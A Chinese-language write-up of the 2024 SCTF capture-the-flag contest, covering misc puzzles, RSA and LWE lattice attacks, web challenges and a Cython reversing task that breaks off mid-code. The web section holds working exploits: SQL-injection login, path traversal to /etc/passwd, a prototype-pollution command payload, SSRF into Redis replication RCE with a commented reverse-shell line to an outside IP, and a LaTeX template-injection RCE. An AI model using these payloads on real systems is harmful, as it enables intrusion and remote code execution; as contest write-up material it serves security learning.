+解出6个压缩包,解出zenith!但是没什么用 + +```Python +with open('2024SCTF.wld', 'rb') as f: + data = f.read() + data = data.split(b'================================================') + with open('2024SCTF_01.wld', 'wb') as f1: + f1.write(data[0]) + with open('2024SCTF_02.wld', 'wb') as f2: + f2.write(data[1]) +``` + +![](../images/2024-SCTF/image6.webp) + +然后随便试一下?(出题人忘记改Hex成UTF8了) + +![](../images/2024-SCTF/image7.webp) + +--- + +## musicMaster + +MKV 封装文件,有两个图像流,两个音频流 + +![](../images/2024-SCTF/image8.webp) + +MKV 的各流是交错存储的,所以不能直接按一般二进制文件分离,可以使用 MKVToolNix 中的 mkvextract + +```Bash +.\mkvextract.exe tracks --raw daytime_final.mkv 0:v0.raw 1:a1.ogg 2:v2.gif 3:a3.ogg +``` + +两个图像流分别是 默认播放的视频 和 GIF五彩斑斓的黑 + +两个音频流分别是 默认播放的音乐 和 SSTV + +SSTV 音频又分左右声道,分别传输一张图像: + +![](../images/2024-SCTF/image9.webp) + +![](../images/2024-SCTF/image10.webp) + +异或一下(再取反)得到: + +![](../images/2024-SCTF/image11.webp) + +Aztec 解码得 `d6f3a8568d5f9c03915494e6b584e216` + +GIF 共有 15 帧 + +![](../images/2024-SCTF/image12.gif) + +识图一下知道是 cimbar https://github.com/sz3/libcimbar + +15 帧一并丢进去,解码出需要密码的 7z 文件 + +解压密码是上面 SSTV 的结果,得到名为 daytime 的 182KB 的文件 + +```Bash +$ file ./daytime +./daytime: 6-channel Fasttracker module sound data Title: "Day time" +``` + +用 Fasttracker II 打开,发现元数据 table64 和 Hexrotor,两列十六进制数据 + +14340d1411272d141a03112e12353d190c07151f0d053d0c0c170d + +340c3639291b23251f1317251f131301241d163033173435350d1305231f104040 + +![](../images/2024-SCTF/image13.webp) + +注意到十六进制数据都在 0 - 64 之间,且最后有两个 0x40 + +猜测代表 Base64 字母表的下标 + +```Python +import base64 + +data = bytes.fromhex('14340d1411272d141a03112e12353d190c07151f0d053d0c0c170d340c3639291b23251f1317251f131301241d163033173435350d1305231f104040') +alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' +b64_code = ''.join(alphabet[b] for b in data) + +print(b64_code) +# U0NURntUaDRuS19ZMHVfNF9MMXN0M25pbjlfTXlfTTBkdWwzX011NTFjfQ== +print(base64.b64decode(b64_code).decode()) +# SCTF{Th4nK_Y0u_4_L1st3nin9_My_M0dul3_Mu51c} +``` + +(还挺好听的) + +--- + +# Crypto + +## Signin + +二元copper即可 + +```Python +from Crypto.Util.number import * +from sympy import nextprime +import itertools + +def flatter(M): + # compile https://github.com/keeganryan/flatter and put it in $PATH + # if flatter is not available we can just return M.LLL() instead + from subprocess import check_output + from re import findall + z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]" + ret = check_output(["flatter"], input=z.encode()) + return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret))) + + + +import itertools +from sage.rings.polynomial.multi_polynomial_sequence import PolynomialSequence + +# COPY from common.systems_solvers +# TODO: error handling when solution doesn't exist +def solve_system_with_resultants(H, vs): + if len(vs) == 1: + for h in (h for h in H if h != 0): + roots = h.univariate_polynomial().roots() + if roots and roots[0][0] != 0: + return { h.variable(): roots[0][0] } + else: + v = min(vs, key=lambda v: sum(h.degree(v) for h in H)) + H_ = [H[i].resultant(H[i+1], v) for i in range(len(vs) - 1)] + vs.remove(v) + roots = solve_system_with_resultants(H_, vs) + H_ = [h.subs(roots) for h in H] + roots |= solve_system_with_resultants(H_, [None]) + return roots + + +def solve_system_with_gb(H, vs): + H_ = PolynomialSequence([], H[0].parent().change_ring(QQ)) + for h in H: + H_.append(h) + I = H_.ideal() + if I.dimension() == -1: + H_.pop() + elif I.dimension() == 0: + roots = [] + for root in I.variety(ring=ZZ): + root = tuple(H[0].parent().base_ring()(root[var]) for var in vs) + roots.append(root) + return roots + +def small_roots(f, bounds, m=1, d=None, algorithm='groebner', lattice_reduction=None, verbose=False): + r""" + Returns the 'small' roots of the polynomial ``f`` where ``bounds`` specifies the + roots' upper bounds. The algorithm implemented is Coppersmith's algorithm, using the + strategy for shift polynomials as described in [1]. The code is heavily inspired + by [2]. + + Note that in some cases this algorithm may be used to find small roots of + polynomials over the integers by choosing ``f`` to be an element of a polynomial ring + whose base ring has characteristic much larger than ``f(*bounds)``. This algorithm + may also be able to find small roots modulo a divisor of the polynomial's base ring + characteristic. + + INPUT: + + - ``f`` -- A (multivariate) polynomial whose base ring is the integers modulo some ``N``. + + - ``bounds`` -- A tuple specifying the bounds on each small root of ``f``. + + - ``m`` -- The highest power of ``N`` to be used in the shift polynomials. (Default: 1) + + - ``d`` -- The number of variables to use for extra shifts. If ``None``, the degree of + ``f`` is used. (Default: ``None``) + + - ``algorithm`` -- The technique used to solve the system of equations after the + lattice reduction step. Must be one of 'groebner' or 'resultants' or else a ``ValueError`` + exception is raised. + + OUTPUT: + + A list of tuples containing all roots that were found. If no roots were found, the + empty list is returned. + + REFERENCES: + + [1] Ellen Jochemsz and Alexander May. *A Strategy for Finding Roots of Multivariate Polynomials with New Applications in Attacking RSA Variants.* + In Advances in Cryptology - ASIACRYPT 2006, p. 267--282. Springer, 2006. + https://link.springer.com/chapter/10.1007/11935230_18 + + [2] William Wang. *Coppersmith implementation.* + https://github.com/defund/coppersmith + """ + + verbose = (lambda *a: print('[small_roots]', *a)) if verbose else lambda *_: None + + if algorithm not in ['groebner', 'resultants']: + raise ValueError(f'"{algorithm}" is not a valid algorithm. Specify one of "groebner" or "resultants".') + + if d is None: + d = f.degree() + + R = f.base_ring() + N = R.cardinality() + # N = e + f_ = (f // f.lc()).change_ring(ZZ) + f = f.change_ring(ZZ) + l = f.lm() + + M = [] + for k in range(m+1): + M_k = set() + T = set((f^(m-k)).monomials()) + for mon in (f^m).monomials(): + if mon//l^k in T: + for extra in itertools.product(range(d), repeat=f.nvariables()): + g = mon * prod(map(power, f.variables(), extra)) + M_k.add(g) + M.append(M_k) + M.append(set()) + + shifts = PolynomialSequence([], f.parent()) + for k in range(m+1): + for mon in M[k] - M[k+1]: + g = mon//l^k * f_^k * N^(m-k) + shifts.append(g) + + B, monomials = shifts.coefficient_matrix() + monomials = vector(monomials) + + factors = [monomial(*bounds) for monomial in monomials] + for i, factor in enumerate(factors): + B.rescale_col(i, factor) + + verbose('Lattice dimensions:', B.dimensions()) + lattice_reduction_timer = cputime() + if lattice_reduction: + B = lattice_reduction(B.dense_matrix()) + else: + B = B.dense_matrix().LLL() + verbose(f'Lattice reduction took {cputime(lattice_reduction_timer):.3f}s') + + B = B.change_ring(QQ) + for i, factor in enumerate(factors): + B.rescale_col(i, 1/factor) + B = B.change_ring(ZZ) + + H = PolynomialSequence([h for h in B*monomials if not h.is_zero()]) + + if algorithm == 'groebner': + groebner_timer = cputime() + roots = solve_system_with_gb(H, list(f.variables())) + verbose(f'Solving system with Groebner bases took {cputime(groebner_timer):.3f}s') + return roots + + elif algorithm == 'resultants': + resultants_timer = cputime() + roots = solve_system_with_resultants(H, list(f.variables())) + verbose(f'Solving system with resultants took {cputime(resultants_timer):.3f}s') + if not roots: + return [] + + return [tuple(map(R, map(roots.__getitem__, f.variables())))] + + +nbit = 512 + +n = 32261421478213846055712670966502489204755328170115455046538351164751104619671102517649635534043658087736634695616391757439732095084483689790126957681118278054587893972547230081514687941476504846573346232349396528794022902849402462140720882761797608629678538971832857107919821058604542569600500431547986211951 +e = 334450817132213889699916301332076676907807495738301743367532551341259554597455532787632746522806063413194057583998858669641413549469205803510032623432057274574904024415310727712701532706683404590321555542304471243731711502894688623443411522742837178384157350652336133957839779184278283984964616921311020965540513988059163842300284809747927188585982778365798558959611785248767075169464495691092816641600277394649073668575637386621433598176627864284154484501969887686377152288296838258930293614942020655916701799531971307171423974651394156780269830631029915305188230547099840604668445612429756706738202411074392821840 + +alpha = ZZ(e).nbits() / ZZ(n).nbits() +beta = 0.44 +nbits = 512 +delta = 0.5 +# gamma = alpha + 1/3 -2/3*(3*alpha+1)**0.5 +gamma = 0.5 + +X = 2^(nbits//2) +Y = 2 ** (nbits+1) + +PR.< x, y > = PolynomialRing(Zmod(e)) +a = n+1 +b = n^2-n+1 +F = x * (y^2 + a*y + b) + 1 +bounds = (X, Y) +res = small_roots(F, bounds, m=2, d=3) + + +p_q = res[0][1] +p = (p_q+isqrt(p_q**2-4*n))//2 +q = n // p + +from Crypto.Util.number import * +from hashlib import md5 +bp = long_to_bytes(int(p)) +FLAG = 'SCTF{'+md5(bp).hexdigest()+'}' +print(FLAG) +bp = long_to_bytes(int(q)) +FLAG = 'SCTF{'+md5(bp).hexdigest()+'}' +print(FLAG) + +# SCTF{12899cda850fc484de8bce978839620d} +``` + +--- + +## 不完全阻塞干扰 + +现根据给出的 pem 密钥进行还原,得到泄露的 p、q 高位,然后拿去打二元 copper + +```Python +from Crypto.Util.number import * +from sage.all import * +import itertools +from hashlib import * +def small_roots(f, bounds, m=1, d=None): + if not d: + d = f.degree() + + if isinstance(f, Polynomial): + x, = polygens(f.base_ring(), f.variable_name(), 1) + f = f(x) + + R = f.base_ring() + N = R.cardinality() + + f /= f.coefficients().pop(0) + f = f.change_ring(ZZ) + + G = Sequence([], f.parent()) + for i in range(m+1): + base = N**(m-i) * f**i + for shifts in itertools.product(range(d), repeat=f.nvariables()): + g = base * prod(map(power, f.variables(), shifts)) + G.append(g) + + B, monomials = G.coefficient_matrix() + monomials = vector(monomials) + + factors = [monomial(*bounds) for monomial in monomials] + for i, factor in enumerate(factors): + B.rescale_col(i, factor) + + B = B.dense_matrix().LLL() + + B = B.change_ring(QQ) + for i, factor in enumerate(factors): + B.rescale_col(i, 1/factor) + + H = Sequence([], f.parent().change_ring(QQ)) + for h in filter(None, B*monomials): + H.append(h) + I = H.ideal() + if I.dimension() == -1: + H.pop() + elif I.dimension() == 0: + roots = [] + for root in I.variety(ring=ZZ): + root = tuple(R(root[var]) for var in f.variables()) + roots.append(root) + return roots + + return [] + +N = 153968577094662545241852323092734689280484517914506039745695611050191415903005114886823916187859463255349142280389389578330571549172274150265624344357037827433290647204777149304678930359439985495154740508659879219697730587007589025951287322370021519348847097788275728347176995072548836277991739490613916057026840879840227313877045626084814352594621262884926692328705989197713798533010689906953892026354565183465358196711098897088706419598331252952703256913107090004492356212325620591006942756839593354993714612176331392556393200532981412460289515631950712290003144754520098744591529403571136924128108194945910727560030394455068060638853660363709958676601397258554860723705648748471206504542728560774607590556345426627134283033493513673260854873967896897712638705700234873655485652723320971709413379872657040563543548089742859092099079247412041413455928446842411460446265414016475108986425508140118678938452215886113545638900939312810267097372049800520185298814274149151390070915773549417583646395933102277372086029675494031034878665341857097320620917322127770496406277621586687481138540738461056911088684964802213935305329028631587976820726304192867954484775543660354448593971302295220207241266935105323532932682229682244751895068360320863165456383069313875651779744672909066864303506533972446518273907007643074124154966602251901310881274085553079972179486033167072641669907795026897822378713351740217838257040598103200813976199405234711979119390242045264560353591708678758310084402152431694954419730747643191924180691825821343890151929368549705164639543225369024111795484623481489831795435793782815833173330932615322728559639641122754075012088943338403093108126873592342965617593602015061048953009371463817702694093110073571273518194286954846204085383164887791904680125848787278758461515300507047980382429388279922378582729945796370735701075704312280615190002548992982000752832974124941529539556897475337857464636211786606742425256767481492962145901569979269129264698294745392608729811684046037723716142864552771471511954991437311122446122106266441225699554489313594288021347283743721288003957326108212035334238387238416582426395999015356523893954851878117 +e = 65537 +c = 145554802564989933772666853449758467748433820771006616874558211691441588216921262672588167631397770260815821197485462873358280668164496459053150659240485200305314288108259163251006446515109018138298662011636423264380170119025895000021651886702521266669653335874489612060473962259596489445807308673497717101487224092493721535129391781431853820808463529747944795809850314965769365750993208968116864575686200409653590102945619744853690854644813177444995458528447525184291487005845375945194236352007426925987404637468097524735905540030962884807790630389799495153548300450435815577962308635103143187386444035094151992129110267595908492217520416633466787688326809639286703608138336958958449724993250735997663382433125872982238289419769011271925043792124263306262445811864346081207309546599603914842331643196984128658943528999381048833301951569809038023921101787071345517702911344900151843968213911899353962451480195808768038035044446206153179737023140055693141790385662942050774439391111437140968754546526191031278186881116757268998843581015398070043778631790328583529667194481319953424389090869226474999123124532354330671462280959215310810005231660418399403337476289138527331553267291013945347058144254374287422377547369897793812634181778309679601143245890494670013019155942690562552431527149178906855998534415120428884098317318129659099377634006938812654262148522236268027388683027513663867042278407716812565374141362015467076472409873946275500942547114202939578755575249750674734066843408758067001891408572444119999801055605577737379889503505649865554353749621313679734666376467890526136184241450593948838055612677564667946098308716892133196862716086041690426537245252116765796203427832657608512488619438752378624483485364908432609100523022628791451171084583484294929190998796485805496852608557456380717623462846198636093701726099310737244471075079541022111303662778829695340275795782631315412134758717966727565043332335558077486037869874106819581519353856396937832498623662166446395755447101393825864584024239951058366713573567250863658531585064635727070458886746791722270803893438211751165831616861912569513431821959562450032831904268205845224077709362068478 +ph = 90158455407064353226740172256637847571736267390156796413259819366666851822735984542845914678308585714535762114331991779976105574125437982741541925319918477636143678641546599089714406624409843298317914314816599264063917986520568605177443804303021648854288120514274897272067538843849432439960315905537690566656 +qh = 160768104440088758988421559810768885911433160163193402622730450816808392172895659063575746366083446372417854889980230420947971096850705154791900360522054814531043887814111485892864370190160918447413632513080596824216306793112296432804947486216776581245045551513782702174800702939979474110068430603619154264064 +PR=PolynomialRing(Zmod(N),'x,y') +x,y=PR.gens() +f=(ph+x)**5*(qh+y)**2 +#roots=small_roots(f,[2**(500),2**(404)],m=3,d=4) +#print(roots) +pl=6708022338172260347899030626323676022100749598842650911015897443511894444627151436951734224984454180375617062494685670914830207366629067809127120853621 +ql=27120250680531856264005422077507994977725575176295502437617058870679375973489771046508673680604944356225907266192711870527 +p=ph+pl +q=qh+ql +phi=p**4*(p-1)*q*(q-1) +d=inverse(e,phi) +print(long_to_bytes(pow(c,d,N))) +``` + +--- + +## Whisper + +根据pem文件得到下面参数 + +```Plain +n1=0x1B5D4FE0AA6782E275D4CE12A6D57562EFBBE7DB6F5277255B891729BFA2A18D3EDB49843D7989A37B9516BE2DF8CA939058E65F64B5FB2071BEA4F5F8D1392895B32BF0377D99F4F79979125E5DB01CDB5080A1C2D665C9AC31B5823025499C9513277BAE5E7A846CD271C4396E2BA219020E58A9055CB18A28D36A00BF717B +e=0x079F5CCC665767B4A257E5C1FF56E9803DF2E5650302DAAD420105FE672447743BD3F0BEA1C46A4987932E9A886CA87A7AFD7796ABF1E5629C4986FE4F22E89CDCE7ABB06624465146A2E2B6CA9AB3196CEAB7467974C1DC45608A200411B291FDAF99F7D80DCE4DB3566F4A9E2E574C6224CD07D80638D28F7820BCF4B49143 +n2=0x071C324E8769493187C15F72D5CC695729B48488EE3FBD01DB00D5C478F08C7CF32093BA61745051D3E9D169523AA91438181F47679AFF5EDD22950F74A1EB1443320AAA5D97F5C1E81B5EF9A3E69BA669ABC4C6C4B405F5088A603A74F9BCEF88823B4523574114C810600838728196F8E5E0D4AEEEEAB79DD8683A72F3C017 +e1=0x079F5CCC665767B4A257E5C1FF56E9803DF2E5650302DAAD420105FE672447743BD3F0BEA1C46A4987932E9A886CA87A7AFD7796ABF1E5629C4986FE4F22E89CDCE7ABB06624465146A2E2B6CA9AB3196CEAB7467974C1DC45608A200411B291FDAF99F7D80DCE4DB3566F4A9E2E574C6224CD07D80638D28F7820BCF4B49143 +``` + +Dual rsa,e是相同的,好像卡界了 + +可能有点用:https://elliptic-shiho.github.io/ctf-writeups/#!ctf/2017/0CTF%20Finals/cr1000-AuthenticationSecrecy/README.md + +真的就是这么简单,把上面的代码改成python3的然后直接就能把d跑出来 + +```Python +from sage.all import * +import math +import itertools + +def flatter(M): + # compile https://github.com/keeganryan/flatter and put it in $PATH + # if flatter is not available we can just return M.LLL() instead + from subprocess import check_output + from re import findall + z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]" + ret = check_output(["flatter"], input=z.encode()) + return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret))) + +# display matrix picture with 0 and X +# references: https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage +def matrix_overview(BB): + for ii in range(BB.dimensions()[0]): + a = ('%02d ' % ii) + for jj in range(BB.dimensions()[1]): + a += ' ' if BB[ii,jj] == 0 else 'X' + if BB.dimensions()[0] < 60: + a += ' ' + print(a) + + +def dual_rsa_liqiang_et_al(e, n1, n2, delta, mm, tt): + ''' + Attack to Dual RSA: Liqiang et al.'s attack implementation + + References: + [1] Liqiang Peng, Lei Hu, Yao Lu, Jun Xu and Zhangjie Huang. 2016. "Cryptanalysis of Dual RSA" + ''' + N = (n1+n2)/2 + A = ZZ(floor(N^0.5)) + + _XX = ZZ(floor(N^delta)) + _YY = ZZ(floor(N^0.5)) + _ZZ = ZZ(floor(N^(delta - 1./4))) + _UU = _XX * _YY + 1 + + # Find a "good" basis satisfying d = a1 * l'11 + a2 * l'21 + M = Matrix(ZZ, [[A, e], [0, n1]]) + B = M.LLL() + l11, l12 = B[0] + l21, l22 = B[1] + l_11 = ZZ(l11 / A) + l_21 = ZZ(l21 / A) + + modulo = e * l_21 + F = Zmod(modulo) + + PR = PolynomialRing(F, 'u, x, y, z') + u, x, y, z = PR.gens() + + PK = PolynomialRing(ZZ, 'uk, xk, yk, zk') + uk, xk, yk, zk = PK.gens() + + # For transform xy to u-1 (unravelled linearlization) + PQ = PK.quo(xk*yk+1-uk) + + f = PK(x*(n2 + y) - e*l_11*z + 1) + + fbar = PQ(f).lift() + + # Polynomial construction + gijk = {} + for k in range(0, mm + 1): + for i in range(0, mm-k + 1): + for j in range(0, mm-k-i + 1): + gijk[i, j, k] = PQ(xk^i * zk^j * PK(fbar) ^ k * modulo^(mm-k)).lift() + + hjkl = {} + for j in range(1, tt + 1): + for k in range(floor(mm / tt) * j, mm + 1): + for l in range(0, k + 1): + hjkl[j, k, l] = PQ(yk^j * zk^(k-l) * PK(fbar) ^ l * modulo^(mm-l)).lift() + + monomials = [] + for k in gijk.keys(): + monomials += gijk[k].monomials() + for k in hjkl.keys(): + monomials += hjkl[k].monomials() + + monomials = sorted(set(monomials))[::-1] + assert len(monomials) == len(gijk) + len(hjkl) # square matrix? + dim = len(monomials) + + # Create lattice from polynmial g_{ijk} and h_{jkl} + M = Matrix(ZZ, dim) + row = 0 + for k in gijk.keys(): + for i, monomial in enumerate(monomials): + M[row, i] = gijk[k].monomial_coefficient(monomial) * monomial.subs(uk=_UU, xk=_XX, yk=_YY, zk=_ZZ) + row += 1 + for k in hjkl.keys(): + for i, monomial in enumerate(monomials): + M[row, i] = hjkl[k].monomial_coefficient(monomial) * monomial.subs(uk=_UU, xk=_XX, yk=_YY, zk=_ZZ) + row += 1 + + matrix_overview(M) + print('=' * 128) + + # LLL + # B = M.LLL() + B = flatter(M) + + matrix_overview(B) + + # Construct polynomials from reduced lattices + H = [(i, 0) for i in range(dim)] + H = dict(H) + for j in range(dim): + for i in range(dim): + H[i] += PK((monomials[j] * B[i, j]) / monomials[j].subs(uk=_UU, xk=_XX, yk=_YY, zk=_ZZ)) + # H = H.values() + + PQ = PolynomialRing(QQ, 'uq, xq, yq, zq') + uq, xq, yq, zq = PQ.gens() + + # Inversion of unravelled linearlization + for i in range(dim): + H[i] = PQ(H[i].subs(uk=xk*yk+1)) + + # Calculate Groebner basis for solve system of equations + ''' + Actually, These polynomials selection (H[1:20]) is heuristic selection. + Because they are "short" vectors. We need a short vector less than + Howgrave-Graham bound. So we trying test parameter(at [1]) and decided it. + ''' + # I = Ideal(*H[1:20]) + I = Ideal(list(H.values())[1:20]) + g = I.groebner_basis('giac')[::-1] + # mon = map(lambda t: t.monomials(), g) + mon = [t.monomials() for t in g] + + PX = PolynomialRing(ZZ, 'xs') + xs = PX.gen() + + x_pol = y_pol = z_pol = None + + for i in range(len(g)): + if mon[i] == [xq, 1]: + print(g[i] / g[i].lc()) + x_pol = g[i] / g[i].lc() + elif mon[i] == [yq, 1]: + print(g[i] / g[i].lc()) + y_pol = g[i] / g[i].lc() + elif mon[i] == [zq, 1]: + print(g[i] / g[i].lc()) + z_pol = g[i] / g[i].lc() + + if x_pol is None or y_pol is None or z_pol is None: + print('[-] Failed: we cannot get a solution...') + return + + x0 = x_pol.subs(xq=xs).roots()[0][0] + y0 = y_pol.subs(yq=xs).roots()[0][0] + z0 = z_pol.subs(zq=xs).roots()[0][0] + + # solution check + assert f(x0*y0+1, x0, y0, z0) % modulo == 0 + + a0 = z0 + a1 = (x0 * (n2 + y0) + 1 - e*l_11*z0) / (e*l_21) + + d = a0 * l_11 + a1 * l_21 + return d + + +delta = 0.337 +mm = 4 +tt = 2 + +n1 = 19216005446310864558409934096148904703198882317083224129431545386380435777354723744624028053518278514595663319253560114239018542660582960464010994454707936550902872627309424890333127288994449006783158078916602020794628546065674981593736606481809198149080696037584037699638293870122512237711498004090515845499 +n2 = 4992911943798277344804876549224813326447469267517432903838084455752417287982320183584988170455130118418117937196562948710115292838538880218156469801938645463822391931977946975012481667095710882823897026534267366981015926659114785262116088548568215969555191689632109516970297562458267207338397574333407150103 +e = 5352708372343813403035593638037107517373724079700735571091908193413083617555211472255125798199165859811237950085789893649651552088125747433480591652396404710788778815075048587264350078253899425987466937040099316084273123603046629945048298154353920118466252136326911019666012632927688983695457057246503276867 + +d1 = dual_rsa_liqiang_et_al(e, n1, n2, delta, mm, tt) +print('[+] d for alice = %d' % d1) + +c = 15215414324218119514166856548319827087347975479953435757551380183481824597666586239577164581282639891207362199 +632694698810120856780147289618566227285967212830337320315326701453355443595245474646348352728630245065334265985318 +506260363891869088324717641979951184093710784542525865784982264295576662469010725462 +d = 40938683537002969349994490030778320037535387924227183600857028517800996704376695290532584573854353589803 +from Crypto.Util.number import * +long_to_bytes(power_mod(c, d, n1)) + + +# b'SCTF{Ju5t_3njoy_th3_Du4l_4nd_Copper5m1th_m3thod_w1th_Ur_0wn_1mplem3nt4t10n}' +``` + +--- + +## LinearARTS + +用已知条件求出A然后打lwe即可 + +```Python +AD=PM.solve_left(AA) +A=D.solve_left(AD) +m = 325 +n = 25 +q = 65537 +A_values = A[:m,:n] +b_values = b[:m] +A = matrix(ZZ, m + n, m) +for i in range(m): + A[i, i] = q +for x in range(m): + for y in range(n): + A[m + y, x] = A_values[x][y] +lattice = IntegerLattice(A, lll_reduce=True) +print("LLL done") +gram = lattice.reduced_basis.gram_schmidt()[0] +target = vector(ZZ, b_values) +res = Babai_closest_vector(lattice.reduced_basis, gram, target) +print("Closest Vector: {}".format(res)) + +R = IntegerModRing(q) +M = Matrix(R, A_values) +ingredients = M.solve_right(res) + +print("Ingredients: {}".format(ingredients)) + + +from Crypto.Util.number import * +t=(58903, 2963, 39256, 25173, 62086, 5284, 45419, 10132, 50811, 41636, 42833, 8227, 63647, 10096, 28276, 29628, 54509, 9776, 44228, 39961, 48996, 60060, 43678, 34392, 21307) +print(len(t)) +sum=0 +q = 65537 +sum=0 +for i in range(len(t)): + sum+=t[i]*(q**(i)) +print(long_to_bytes(sum)) +``` + +--- + +# Web + +## SycServer2.0 + +Sql 注入,万能密码登录 + +```Python +from Crypto.PublicKey import RSA +from Crypto.Cipher import PKCS1_v1_5 +import base64 +import requests +import sys +import json + +public_key = """-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----""" +proxy = { + "http":"127.0.0.1:8080", +} +header = { + 'Content-Type': 'application/json' +} +def rsa_encrypt(content, pub_key): + rsa_key = RSA.import_key(pub_key) + cipher = PKCS1_v1_5.new(rsa_key) + + encrypted_content = cipher.encrypt(content.encode()) + encrypted_content = base64.b64encode(encrypted_content) + + return encrypted_content + +password = """"or"="a'='a""" +encrypted_password = rsa_encrypt(password, public_key) +url = "http://1.95.84.173:34063" + +payload = { + "username": "admin", + "password": encrypted_password.decode() +} +data = json.dumps(payload) +r = requests.post(url+"/login",data=data,proxies=proxy, headers=header) +print(password.strip()) +print(r.text) +``` + +/ExP0rtApi?v=static&f=..././..././..././..././..././..././..././etc/passwd 双写读文件 + +![](../images/2024-SCTF/image14.webp) + +原型链污染 + 环境变量劫持 + +```JSON +{ + "user":"__proto__", + "date":"2", + "reportmessage":{ + "shell":"/bin/bash", + "env":{ + "BASH_FUNC_whoami%%":"() { /readflag;}" + } + } +} +``` + +![](../images/2024-SCTF/image15.webp) + +--- + +## ezRender + +file open后没有close ulimit理论上2048次次会触发too many files + +time可以爆破 + +异常会跳过,只剩下time + +![](../images/2024-SCTF/image16.webp) + +无回显SSTI 直接fenjing改造打内存马 + +![](../images/2024-SCTF/image17.webp) + +--- + +## ezjump + +https://nvd.nist.gov/vuln/detail/CVE-2024-34351 + +![](../images/2024-SCTF/image18.webp) + +改 Host Origin 即可 + +类似的题目 + +https://siunam321.github.io/ctf/UIUCTF-2024/Web/Log-Action/ + +```Python +#!/usr/bin/env python3 +from flask import Flask, request, Response, redirect + +app = Flask(__name__) + +@app.route('/play') +def exploit(): + # CORS preflight check + if request.method == 'HEAD': + response = Response() + response.headers['Content-Type'] = 'text/x-component' + return response + # after CORS preflight check + elif request.method == 'GET': + ssrfUrl = 'http://172.11.0.3:5000/' + return redirect(ssrfUrl) + +if __name__ == '__main__': + app.run(port=9999, host='0.0.0.0', debug=True) +``` + +![](../images/2024-SCTF/image19.webp) + +Redis 5 可以主从复制 RCE + +```Python +#!/usr/bin/env python3 +from flask import Flask, request, Response, redirect + +import urllib.parse + +app = Flask(__name__) + +@app.route('/play') +def exploit(): + # CORS preflight check + if request.method == 'HEAD': + response = Response() + response.headers['Content-Type'] = 'text/x-component' + return response + # after CORS preflight check + elif request.method == 'GET': + padding = "\r\n" + inject = "$1\r\na\r\n" + inject += "SLAVEOF vps port\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n" + # inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/8.134.216.221/11111 0>&1\"'\r\n" + # inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"whoami\"'\r\n" + # inject += "system.exec 'touch /tmp/tell'\r\n" + padding += inject + user = "admin"*len(padding)+padding + + ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}' + return redirect(ssrfUrl) + +if __name__ == '__main__': + app.run(port=9999, host='0.0.0.0', debug=True) +``` + +![](../images/2024-SCTF/image20.webp) + +--- + +## ez_tex + +RCE + +```LaTeX +\documentclass{article} + +\newwrite\outfile + +\begin{document} + +\immedi^^61te\openout\outfile=templates^^2flog.html + +\immedi^^61te\write\outfile{^^7b^^7b^^75^^72^^6c^^5f^^66^^6f^^72^^2e^^5f^^5f^^67^^6c^^6f^^62^^61^^6c^^73^^5f^^5f^^5b^^72^^65^^71^^75^^65^^73^^74^^2e^^61^^72^^67^^73^^2e^^61^^5d^^5b^^72^^65^^71^^75^^65^^73^^74^^2e^^61^^72^^67^^73^^2e^^62^^5d^^28^^72^^65^^71^^75^^65^^73^^74^^2e^^61^^72^^67^^73^^2e^^63^^29^^2e^^72^^65^^61^^64^^28^^29^^7d^^7d} + +\immedi^^61te\closeout\outfile + +The file has been written. + +\end{document} +``` + +```Python +import requests +import sys + +url = "http://1.95.33.189:33010" + +files = { + 'file': open('2.tex', 'r') +} +r = requests.post(url + "/upload", files=files) +print(r.text) +r = requests.get(url + "/compile?filename=2.tex") +print(r.text) +r = requests.get(url + "/log?a=os&b=popen&c=whoami") +text = r.text、 +print(r.text) +``` + +提权拿 root flag + +![](../images/2024-SCTF/image21.webp) + +--- + +# Reverse + +## ez_cython + +pyinstxtractor提取并用pycdc反编译ez_cython.pyc, + +可知输入在cy.cp38-win_amd64.pyd的sub14514函数中被验证: + +```Python +# Source Generated with Decompyle++ +# File: ez_cython.pyc (Python 3.8) + +import cy + +def str_hex(input_str): + return (lambda .0: [ ord(char) for char in .0 ])(input_str) + + +def main(): + print('欢迎来到猜谜游戏!') + print("逐个输入字符进行猜测,直到 'end' 结束。") + guess_chars = [] + char = input("请输入一个字符(输入 'end' 结束):") + if char == 'end': + pass + elif len(char) == 1: + guess_chars.append(char) + continue + print('请输入一个单独的字符。') + continue + guess_hex = str_hex(''.join(guess_chars)) + if cy.sub14514(guess_hex): + print('真的好厉害!flag非你莫属') + + print('不好意思,错了哦。') + retry = input('是否重新输入?(y/n):') + if retry.lower() != 'y': + pass + + print('游戏结束') + +if __name__ == '__main__': + main() +``` + +注入cy类,获取运算过程: + +```Python +import cy + +class Symbol: + def __init__(self, name): + self.name = name + def __repr__(self): + return self.name + def __rshift__(self, other): + if isinstance(other, Symbol): + expression = Symbol(f"({self.name} >> {other.name})") + else: + expression = Symbol(f"({self.name} >> {other})") + return expression + def __lshift__(self, other): + if isinstance(other, Symbol): + expression = Symbol(f"({self.name} << {other.name})") + else: + expression = Symbol(f"({self.name} << {other})") + return expression + def __rxor__(self, other): + if isinstance(other, Symbol): + expression = Symbol(f"({self.name} ^ {other.name})") + else: + expression = Symbol(f"({self.name} ^ {other})") + return expression + def __xor__(self, other): + if isinstance(other, Symbol): + expression = Symbol(f"({self.name} ^ {other.name})") + else: + expression = Symbol(f"({self.name} ^ {other})") + return expression + def __add__(self, other): + if isinstance(other, Symbol): + expression = Symbol(f"({self.name} + {other.name})") + else: + expression = Symbol(f"({self.name} + {other})") + return expression + def __and__(self, other): + if 